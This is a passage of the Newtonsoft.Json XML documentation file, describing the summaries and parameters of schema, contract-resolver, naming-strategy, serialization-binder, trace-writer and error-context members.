</summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\">\n            <summary>\n            <para>\n            Generates a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a specified <see cref=\"T:System.Type\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.UndefinedSchemaIdHandling\">\n            <summary>\n            Gets or sets how undefined schemas are handled by the serializer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\">\n            <summary>\n            <para>\n            Resolves <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from an id.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaResolver.LoadedSchemas\">\n            <summary>\n            Gets or sets the loaded schemas.\n            </summary>\n            <value>The loaded schemas.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.GetSchema(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.\n            </summary>\n            <param name=\"reference\">The id.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaType\">\n            <summary>\n            <para>\n            The value types allowed by the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.None\">\n            <summary>\n            No type specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.String\">\n            <summary>\n            String type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Float\">\n            <summary>\n            Float type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Integer\">\n            <summary>\n            Integer type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Boolean\">\n            <summary>\n            Boolean type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Object\">\n            <summary>\n            Object type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Array\">\n            <summary>\n            Array type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Null\">\n            <summary>\n            Null type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Any\">\n            <summary>\n            Any type.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling\">\n            <summary>\n            <para>\n            Specifies undefined schema Id handling options for the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.None\">\n            <summary>\n            Do not infer a schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseTypeName\">\n            <summary>\n            Use the .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseAssemblyQualifiedName\">\n            <summary>\n            Use the assembly qualified .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\">\n            <summary>\n            <para>\n            Returns detailed information related to the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Exception\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> associated with the validation error.\n            </summary>\n            <value>The JsonSchemaException associated with the validation error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Path\">\n            <summary>\n            Gets the path of the JSON location where the validation error occurred.\n            </summary>\n            <value>The path of the JSON location where the validation error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Message\">\n            <summary>\n            Gets the text description corresponding to the validation error.\n            </summary>\n            <value>The text description.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\">\n            <summary>\n            <para>\n            Represents the callback method that will handle JSON schema validation events and the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\">\n            <summary>\n            A camel case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\">\n            <summary>\n            Resolves member mappings for a type, camel casing property names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DynamicCodeGeneration\">\n            <summary>\n            Gets a value indicating whether members are being get and set using dynamic code generation.\n            This value is determined by the runtime permissions available.\n            </summary>\n            <value>\n            \t<c>true</c> if using dynamic code generation; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DefaultMembersSearchFlags\">\n            <summary>\n            Gets or sets the default members search flags.\n            </summary>\n            <value>The default members search flags.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.SerializeCompilerGeneratedMembers\">\n            <summary>\n            Gets or sets a value indicating whether compiler generated members should be serialized.\n            </summary>\n            <value>\n            \t<c>true</c> if serialized compiler generated members; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableInterface\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableAttribute\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.SerializableAttribute\"/> attribute when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.SerializableAttribute\"/> attribute will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreIsSpecifiedMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreShouldSerializeMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized.\n            </summary>\n            <value>The naming strategy used to resolve how property names and dictionary keys are serialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetSerializableMembers(System.Type)\">\n            <summary>\n            Gets the serializable members for the type.\n            </summary>\n            <param name=\"objectType\">The type to get serializable members for.</param>\n            <returns>The serializable members for the type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateObjectContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateConstructorParameters(System.Reflection.ConstructorInfo,Newtonsoft.Json.Serialization.JsonPropertyCollection)\">\n            <summary>\n            Creates the constructor parameters.\n            </summary>\n            <param name=\"constructor\">The constructor to create properties for.</param>\n            <param name=\"memberProperties\">The type's member properties.</param>\n            <returns>Properties for the given <see cref=\"T:System.Reflection.ConstructorInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePropertyFromConstructorParameter(Newtonsoft.Json.Serialization.JsonProperty,System.Reflection.ParameterInfo)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.\n            </summary>\n            <param name=\"matchingMemberProperty\">The matching member property.</param>\n            <param name=\"parameterInfo\">The constructor parameter.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContractConverter(System.Type)\">\n            <summary>\n            Resolves the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the contract.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The contract's default <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDictionaryContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateArrayContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePrimitiveContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateLinqContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateISerializableContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDynamicContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateStringContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateContract(System.Type)\">\n            <summary>\n            Determines which contract type is created for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperties(System.Type,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.\n            </summary>\n            <param name=\"type\">The type to create properties for.</param>\n            /// <param name=\"memberSerialization\">The member serialization mode for the type.</param>\n            <returns>Properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateMemberValueProvider(System.Reflection.MemberInfo)\">\n            <summary>\n            Creates the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperty(System.Reflection.MemberInfo,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.\n            </summary>\n            <param name=\"memberSerialization\">The member's parent <see cref=\"T:Newtonsoft.Json.MemberSerialization\"/>.</param>\n            <param name=\"member\">The member to create a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.MemberInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Resolved name of the property.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveExtensionDataName(System.String)\">\n            <summary>\n            Resolves the name of the extension data. By default no changes are made to extension data names.\n            </summary>\n            <param name=\"extensionDataName\">Name of the extension data.</param>\n            <returns>Resolved name of the extension data.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveDictionaryKey(System.String)\">\n            <summary>\n            Resolves the key of the dictionary. By default <see cref=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolvePropertyName(System.String)\"/> is used to resolve dictionary keys.\n            </summary>\n            <param name=\"dictionaryKey\">Key of the dictionary.</param>\n            <returns>Resolved key of the dictionary.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetResolvedPropertyName(System.String)\">\n            <summary>\n            Gets the resolved name of the property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>Name of the property.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultNamingStrategy\">\n            <summary>\n            The default naming strategy. Property names and dictionary keys are unchanged.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\">\n            <summary>\n            The default serialization binder used when resolving and loading classes from type names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultSerializationBinder\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n            <returns>\n            The type of the object the formatter creates a new instance of.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultSerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When overridden in a derived class, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to the application's <see cref=\"T:System.Diagnostics.TraceListener\"/> instances.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DiagnosticsTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DynamicValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DynamicValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DynamicValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorContext\">\n            <summary>\n            Provides information surrounding an error.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Error\">\n            <summary>\n            Gets the error.\n            </summary>\n            <value>The error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.OriginalObject\">\n            <summary>\n            Gets the original object that caused the error.\n            </summary>\n            <value>The original object that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Member\">\n            <summary>\n            Gets the member that caused the error.\n            </summary>\n            <value>The member that caused the error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Path\">\n            <summary>\n            Gets the path of the JSON location where the error occurred.\n            </summary>\n            <value>The path of the JSON location where the error occurred.</value>\n        </member>\n        <member 